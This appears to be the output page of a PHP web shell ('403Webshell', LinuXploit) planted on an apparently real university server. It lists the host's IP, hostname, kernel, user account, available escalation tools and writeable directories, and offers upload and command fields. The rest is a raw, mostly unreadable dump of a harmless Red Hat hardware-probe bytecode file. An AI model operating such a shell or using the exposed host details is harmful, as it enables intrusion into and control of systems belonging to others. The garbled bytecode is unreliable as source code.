403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/hwprobe.cpython-36.pyc
3

a�e���@s�ddlmZmZmZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlmZm
Z
ddlmZddlmZeje�ZdZyddlZWn,ek
r�Zzejd�WYddZ[XnXddlmZdd	lmZGd
d�de�Zdd
�Zdd�Z Gdd�de�Z!Gdd�dej"�Z#edk�r�dZ$e$e	j%k�r@e	j%j&e$�ddl'm(Z(e(j)�e#e	j*ddd�Z+e,e	j*�dk�r�e	j*de+_-de+_.e+j/�Z0e,e	j*�dk�r�x*e1e0j2��D]\Z3Z4e5de3e4f��q�We+j.�s�e	j6d�d-d.d/d0d1d2gZ7d(Z8gZ9xne7D]fZ:e;e0j<e:dd3��Z=e;e0j<e:dd4��Z>e=e>k�r�e=d5k�r�e>d6k�r�e9j&e:de:de=e>f��q�Wd ddd$gZ?e@e?�jAe@e0��ZBe8�r�e5d)�x2e9D]*Z8e5d*e8de8de8de8d+f��q�WeB�r�xeBD]ZCe5d,eC��q�We8�r�e	j6d�dS)7�)�print_function�division�absolute_importN)�defaultdict)�datetime�	timedelta)�cpuinfo)�	collectorz&Unable to import the 'ethtool' module.)�check_output)�CalledProcessErrorc@seZdZdd�ZdS)�ClassicCheckcCs>ytjjd�ddlm}Wntk
r0dSX|j�dk	S)Nz/usr/share/rhnr)�up2dateAuthF)�sys�path�appendZup2date_clientr
�ImportErrorZgetSystemId)�selfr
�r�/usr/lib64/python3.6/hwprobe.py�is_registered_with_classic0sz'ClassicCheck.is_registered_with_classicN)�__name__�
__module__�__qualname__rrrrrr/srcCs4|jd�}t|d�}t|d�}tt||d��S)N�-r����)�split�int�list�range)Z	range_strZ
range_list�start�endrrr�parse_range=s
r"cCs@g}|jd�}x,|D]$}t|�}x|D]}|j|�q&WqW|S)N�,)rr"r)Zentries_string�entriesZentry_partsZ
entry_partZentry_range�entryrrr�gather_entriesLs


r&c@s&eZdZdZddd�Zedd��ZdS)�#GenericPlatformSpecificInfoProviderz�Default provider for platform without a specific platform info provider.
    ie, all platforms except those with DMI (ie, intel platforms)NcCs
i|_dS)N)�info)rZ
hardware_infoZ	dump_filerrr�__init__Zsz,GenericPlatformSpecificInfoProvider.__init__cCsdS)Nrrrrr�log_warnings]sz0GenericPlatformSpecificInfoProvider.log_warnings)N)rrr�__doc__r)�staticmethodr*rrrrr'Ws
r'cs�eZdZd4�fdd�	Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Z�ZS)5�HardwareCollectorNc
sJtt|�j|||dd�|j|j|j|j|j|j|j	|j
|j|jg
|_
dS)N)�arch�prefix�testing�collected_hw_info)�superr-r)�get_uname_info�get_release_info�get_mem_info�
get_last_boot�get_proc_cpuinfo�
get_proc_stat�get_cpu_info�get_ls_cpu_info�get_network_info�get_network_interfacesZhardware_methods)rr.r/r0r1)�	__class__rrr)cs
zHardwareCollector.__init__cCs&i}tj�}d}ttt||���}|S)N�
uname.sysname�uname.nodename�
uname.release�
uname.version�
uname.machine)r>r?r@rArB)�os�uname�dictr�zip)rZ
uname_infoZ
uname_dataZ
uname_keysrrrr3xsz HardwareCollector.get_uname_infocCs*|j�}|d|d|d|dd�}|S)Nrr��)zdistribution.namezdistribution.versionzdistribution.idzdistribution.version.modifier)�get_distribution)rZdistro_infoZrelease_inforrrr4�sz"HardwareCollector.get_release_infocCs
t|d�S)N�r)�open)r�filenamerrr�
_open_release�szHardwareCollector._open_releasecCs�d}d}d}d}tjjd�r�tdd�}|j�}|j�d|d||dd�}x>|D]6}dd�|jd�D�}	t|	�d	krtqN|	d
||	d<qNW|d}|d
}|d}tj	d|�}
|
r�|
j
d
�}tjd|d�}t|�dkr�|dj�jdd�}n�tjjd��rVtj
d�}|jd�}|j�}
|j�|j|
�}|dk	�rtt|j��\}}}}|�rt|j�}nttd��rttj�\}}}d}||||fS)N�Unknown�z/etc/os-releaserJ)ZPRETTY_NAME�NAMEZID�VERSION�
VERSION_ID�CPE_NAMEcSsg|]}|jd��qS)z"
 )�strip)�.0Zpiecerrr�
<listcomp>�sz6HardwareCollector.get_distribution.<locals>.<listcomp>�=rGrrrRrPrQz	\((.*?)\)z(?<!\\):rS��z\:�:z/etc/redhat-releasez8(.+) release ([\d.]+)\s*(?!\()(\S*)\s*[^(]*(?:\((.+)\))?�linux_distribution)rCr�existsrK�	readlines�closer�len�re�search�group�lower�replace�compilerM�readline�match�tuple�groups�hasattr�platformr[)r�versionZdistnameZdist_idZversion_modifier�fZ
os_release�data�linerZdist_id_searchZ
vers_mod_dataZ_lsb_release_version�	firstline�mZtmp_modifierrrrrI�sT







z"HardwareCollector.get_distributioncCs�i}ddg}yptjd�}td�}xX|D]P}|j|�}|s:q&|jddg�\}}||kr&djd|j�g�}	d	t|�||	<q&WWn.tk
r�}
zt	j
d
|
�WYdd}
~
XnX|S)NZMemTotalZ	SwapTotalz$^(?P<key>\S*):\s*(?P<value>\d*)\s*kBz
/proc/meminfo�key�value�.Zmemoryz%sz+Error reading system memory information: %s)r`rerKrgri�joinrcr�	Exception�log�warning)rZmeminfoZuseful�parserZmemdatar(rgrrrs�nkey�errrr5�s 


zHardwareCollector.get_mem_infocCs~d}yBttdd�j�j�d�}t|d�}tj�}||}|jd�}Wn.tk
rt}zt	j
d|�WYdd}~XnXd|iS)	N�unknownz/proc/uptimerJr)Zsecondsz%Y-%m-%d %H:%M:%Sz#Error reading uptime information %s�	last_boot)�floatrK�readrrrZutcnowZstrftimervrwrx)rr}ZuptimeZuptime_deltaZnowZlast_boot_dater{rrrr6�s
zHardwareCollector.get_last_bootcCs^ytd||fd�}Wntk
r*dSX|j�jd�}|j�t|�rZt|�}t|�SdS)Nz%s/topology/%srJz
)rK�IOErrorr�rstripr^r_r&)r�cpuZfieldrmr$Zcpumask_entriesrrr�count_cpumask_entries�sz'HardwareCollector.count_cpumask_entriescCs`|jdkrdSytdd�}Wntk
r0dSX|j�jd�}|j�|dksX|dkr\dSdS)	NZaarch64Fz9/sys/devices/system/cpu/cpu0/regs/identification/midr_el1rJ�
Z0x00000000461f0010Z0x00000000460f0010T)r.rKr�rr�r^)rrmZmidrrrr�is_a64fxs
zHardwareCollector.is_a64fxcCs�xv|D]n}|jd�r|jdd�}|d}|j�}t|d�}t|d�}t|d�}	||}
|
|	}|
||||	d�SqWtjd�dS)	NzCPU Topology SW:rZrrH�rY)�socket_count�cores_count�
book_count�sockets_per_book�cores_per_socketz>Looking for 'CPU Topology SW' in sysinfo, but it was not found)�
startswithrrrw�debug)r�	cpu_count�sysinforo�partsZ
s390_topo_strZ
topo_partsr�r�r�r�r�rrr�_parse_s390x_sysinfo_topologys"


z/HardwareCollector._parse_s390x_sysinfo_topologycCstj|tj�S)N)rC�access�R_OK)r�proc_sysinforrr�has_s390x_sysinfo?sz#HardwareCollector.has_s390x_sysinfocCs<g}yt|d�}Wntk
r&|SX|j�}|j�|S)NrJ)rKr�r]r^)rr�r��linesrmrrr�read_s390x_sysinfoBsz$HardwareCollector.read_s390x_sysinfocCs@ytd|d�}Wntk
r&dSX|j�j�}|j�|S)Nz%s/physical_idrJ)rKr�rrTr^)r�cpu_filermZbufrrr�read_physical_idMsz"HardwareCollector.read_physical_idcCsXtjd�t�}x(|D] }|j|�}|dkr|j|�qW|rTt|�}tjd�|SdS)Nz,trying ppc64 specific cpu topology detectionz-1zDUsing /sys/devices/system/cpu/cpu*/physical_id for cpu info on ppc64)rwr��setr��addr_)r�	cpu_filesZphysical_idsr�Zphysical_idr�rrr�_ppc64_fallbackWs



z!HardwareCollector._ppc64_fallbackcCstj|tj�S)N)rCr�r�)r�cpu_topo_dirrrr�check_for_cpu_topossz$HardwareCollector.check_for_cpu_topocCsti}d}tjj|j|jd�}x,t|jjj��D]\}}||d||f<q.Wx$|jj	D]\}}||d||f<qTW|S)N�proc_cpuinfo)r/z%s.common.%sz%s.system.%s)
rZSystemCpuInfoFactoryZfrom_uname_machiner.r/r�cpu_info�common�items�other)rr��fact_namespaceZproc_cpuinfo_sourcerrrsrrrr7vs
z"HardwareCollector.get_proc_cpuinfoc	Cs�i}d}d}d}yTt|d��@}x8|j�D],}tj||j��}|r(|jd�|d|<Pq(WWdQRXWn.tk
r�}ztjd|�WYdd}~XnX|S)N�	proc_statz
/proc/statzbtime\W*([0-9]+)\W*$rJrz%s.btimez$Could not gather proc_stat facts: %s)	rKr]r`rgrTrbrvrwr�)	rr�r�Zproc_stat_pathZbtime_reZproc_stat_filerorgr{rrrr8�szHardwareCollector.get_proc_statcCszi}d}g}|jd}xJtj|�D]<}tj||�r"tjj||d�}|j|�r"|jd||f�q"W|sj|St	|�}|jd}|j
|�}	d}
d}|j|dd�}|j�r�|j|dd	�d
}
n|j|dd	�}
|o�|
�rV|
|}d|d<|j
d
ko�|	�r�tjd�|j||�}|�r�|j||�}|�r�d|d<|d}|d}|d}|d}d}d}
nhtjd�d}d}
d}d}|j
dk�r�|j|�}|�r�tjd�d|d<ntjd�d|d<|}||}|�r�|�r�|ddk�r�|||}d}|
�s |j|dd�}|�r ||}||}d|d<d}
||d<|�r6||d<|�rD||d <|�rR||d!<|�r`||d"<|
�rv||d#<||d$<|S)%Nzcpu([0-9]+$)z/sys/devices/system/cpu/Ztopologyz%s/%sz
/proc/sysinfoFrZthread_siblings_listZcore_siblings_listr�zkernel /sys cpu sibling listszcpu.topology_sourceZs390xz;/proc/sysinfo found, attempting to gather cpu topology infoz
s390x sysinfor�r�r�r�rTzNo cpu socket information foundZppc64z1Using ppc64 cpu physical id for cpu topology infozppc64 physical_package_idz5No cpu socket info found for real or virtual hardwarezfallback one socketZbook_siblings_listzs390 book_siblings_listz
cpu.cpu(s)zcpu.cpu_socket(s)zcpu.core(s)_per_socketzcpu.thread(s)_per_corezcpu.book(s)_per_cpuzcpu.socket(s)_per_bookzcpu.book(s))r/rC�listdirr`rgrrur�rr_r�r�r�r.rwr�r�r�r�)rr�Zcpu_rer�Zsys_cpu_pathr�r�r�r�Zhas_sysinfoZbooksr�Zthreads_per_coreZ
cores_per_cpuZ
sysinfo_linesr�r�r�r�Zbook_siblings_per_cpurrrr9�s�










zHardwareCollector.get_cpu_infoc%Cs|i}d}tj|tj�s|Sttj�}|jddi�|g}|jrL|d|jg7}dj|�}yt	||d�}Wn8t
k
r�}ztj|�tj
d||�|Sd}~XnXg}y�|j�jd�}	x||	D]t}
y@|
jd	�\}}d
jd|j�j�jdd�g�}
d
|j�||
<Wq�tk
�r,}z|j|�WYdd}~Xq�Xq�WWn0tk
�rd}ztj
d|�WYdd}~XnX|�rxtjd|�|S)Nz/usr/bin/lscpuZLANGUAGEzen_US.UTF-8z-s� )�envz$Error with lscpu (%s) subprocess: %sr�rZrtZlscpu�_z%sz(Error reading system CPU information: %sz%Errors while parsing lscpu output: %s)rCr�r�rE�environ�updater0r/ru�compat_check_outputrrw�	exceptionrxrTrrcrd�
ValueErrorrrvr�)rZ
lscpu_infoZ	LSCPU_CMDZ	lscpu_envZ	lscpu_cmdZlscpu_cmd_stringZ	lscpu_outr{�errorsZcpu_datar(rrrsrzrrrr:Ds@



$z!HardwareCollector.get_ls_cpu_infocCs^g}tjtj��}x4|D],}x&|j�D]}|jdkr&|j|j�q&WqWt|�dkrZdg}|S)a
        When DNS record is not configured properly for the system, then try to
        get list of all IPv4 addresses from all devices. Return 127.0.0.1 only
        in situation when there is only loopback device.
        :return: list of IPv4 addresses
        z	127.0.0.1r)�ethtool�get_interfaces_info�get_devices�get_ipv4_addresses�addressrr_)r�	addr_list�interface_infor(�addrrrr�_get_ipv4_addr_listws

z%HardwareCollector._get_ipv4_addr_listcCs^g}tjtj��}x4|D],}x&|j�D]}|jdkr&|j|j�q&WqWt|�dkrZdg}|S)a
        When DNS record is not configured properly for the system, then try to
        get list of all IPv6 addresses from all devices. Return ::1 only
        in situation when there no device with valid global IPv6 address.
        :return: list of IPv6 addresses
        �universerz::1)r�r�r��get_ipv6_addresses�scoperr�r_)rr�r�r(r�rrr�_get_ipv6_addr_list�s

z%HardwareCollector._get_ipv6_addr_listc,Cs�i}�y�tj�}||d<ytj|dtjtjdtj�}Wntk
rR||d<Yn8Xt|�dkr�|dddkr�|dd|d<n||d<y8tj|dtjtj	�}t
dd�|D��}d	j|�|d
<WnHtk
�r
}z*tj
d||f�d	j|j��|d
<WYdd}~XnXy8tj|dtjtj	�}t
dd�|D��}d	j|�|d
<WnHtk
�r�}z*tj
d||f�d	j|j��|d
<WYdd}~XnXWn0tk
�r�}ztjd|�WYdd}~XnX|S)z\
        Try to get information about network: hostname, FQDN, IPv4, IPv6 addresses
        znetwork.hostnameNrznetwork.fqdnrHrOcSsg|]}|dd�qS)r�rr)rU�xrrrrV�sz6HardwareCollector.get_network_info.<locals>.<listcomp>z, znetwork.ipv4_addressz7Error during resolving IPv4 address of hostname: %s, %scSsg|]}|dd�qS)r�rr)rUr�rrrrV�sznetwork.ipv6_addressz7Error during resolving IPv6 address of hostname: %s, %sz(Error reading networking information: %s)�socketZgethostnameZgetaddrinfoZ	AF_UNSPECZ
SOCK_DGRAMZAI_CANONNAMErvr_ZAF_INETZSOCK_STREAMr�rurwr�r�ZAF_INET6r�rx)rZnet_infoZhostnameZinfolistr(Zip_list�errrrrr;�sD$(z"HardwareCollector.get_network_infocCs|jd�p|jd�S)NZsit�lo)r�)r�devicerrr�_should_get_mac_address�sz)HardwareCollector._should_get_mac_addresscCs�i}dddg}dddg}ddg}�yftjtj��}�xP|D�]F}|j}|j}|j|�rndjd|d	g�}	|||	<td
d��}
xT|j�D]H}|j	}|dkr�d
}x0|D](}
t
||
�p�d}|
|
|jt|��q�Wq�Wx^|
j
�D]R\}}xH|j
�D]<\}}dj|j||d�}	|	d}|d||	<dj|�||<q�Wq�Wt|d��r�tt�}xD|j�D]8}x0|D](}
t
||
��pjd}||
jt|���qXW�qNWx�|j
�D]<\}}dj|j|d�}	|	d}|d||	<dj|�||<�q�WnDt|d��rx6|D].}
djd||
g�}	t
||
��p
d}|||	<�q�Wytjd|j�}Wntk
�rHd}YnX|r:tjj|�}|j||j�}djd|jdg�}	|||	<q:WWn:tk
�r�}ztj|�tjd|�WYdd}~XnX|S)NZipv4_addressZipv4_netmaskZipv4_broadcastr�ZnetmaskZ	broadcastrtz
net.interface�mac_addresscSstt�S)N)rrrrrr�<lambda>�sz:HardwareCollector.get_network_interfaces.<locals>.<lambda>r��globalrNz)net.interface.{device}.ipv6_{key}.{scope})r�rrr�Z_listrz, r�z!net.interface.{device}.ipv4_{key})r�rrz/sys/class/net/%s/masterZpermanent_mac_addressz/Error reading network interface information: %s)r�r�r�r�r�r�rurr�r��getattrr�strr��formatrjrr�rC�readlinkrvr�basename�_get_slave_hwaddrrwr�rx)rZ
netinfdictZold_ipv4_metakeysZ
ipv4_metakeysZ
ipv6_metakeysZinterfaces_infor(r�r�rrZipv6_valuesr�r�Zmkey�attrZmeta_keyZmapping_values�valuesZlist_keyZipv4_values�masterZmaster_interfaceZpermanent_mac_addrr{rrrr<�sr





	

z(HardwareCollector.get_network_interfacesc	Cs�d}ytd|d�}Wn
|Sd}xZ|j�D]N}|rX|jd�dkrX|j�dj�}P|jd�dkr0|j�d	}||kr0d
}q0W|j�|S)
NrOz/proc/net/bonding/%srJFzPermanent HW addr: rrHzSlave Interface: rGTrr)rKr]�findr�upperr^)rr�ZslaveZhwaddrZbondingZslave_foundroZifnamerrrr�=s z#HardwareCollector._get_slave_hwaddr)NNNN)rrrr)r3r4rMrIr5r6r�r�r�r�r�r�r�r�r7r8r9r:r�r�r;r�r<r��
__classcell__rr)r=rr-bs4

7$
(37jr-�__main__z/usr/share/rhsm)�logutilrT)r/r0rGz'%s' : '%s'�cpu.core(s)_per_socket�lscpu.core(s)_per_socket�
cpu.cpu(s)�lscpu.cpu(s)�cpu.cpu_socket(s)�lscpu.socket(s)�cpu.book(s)�
lscpu.book(s)�cpu.thread(s)_per_core�lscpu.thread(s)_per_core�cpu.socket(s)_per_book�lscpu.socket(s)_per_bookFzcpu detection errorz,The values %s %s do not match (|%s| != |%s|)rHzcpu info fact: %s was missing)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�rrrr)DZ
__future__rrrZloggingrCrkr`r�r�collectionsrrrZ
rhsmlib.factsrr	Z	getLoggerrrwr�rr{rxZrhsmlib.compatr
r��
subprocessr�objectrr"r&r'ZFactsCollectorr-Z_LIBPATHrrZrhsmr�Zinit_logger�argvZhwr_r/r0Zget_allZhw_dict�sortedr��hkeyZhvalue�print�exitZ	cpu_itemsZfailedZfailed_listZcpu_itemr�getZvalue_0Zvalue_1Z
must_havesr��
differenceZmissing_setZmissingrrrr�<module>s�
v


 
*


Youez - 2016 - github.com/yon3zu
LinuXploit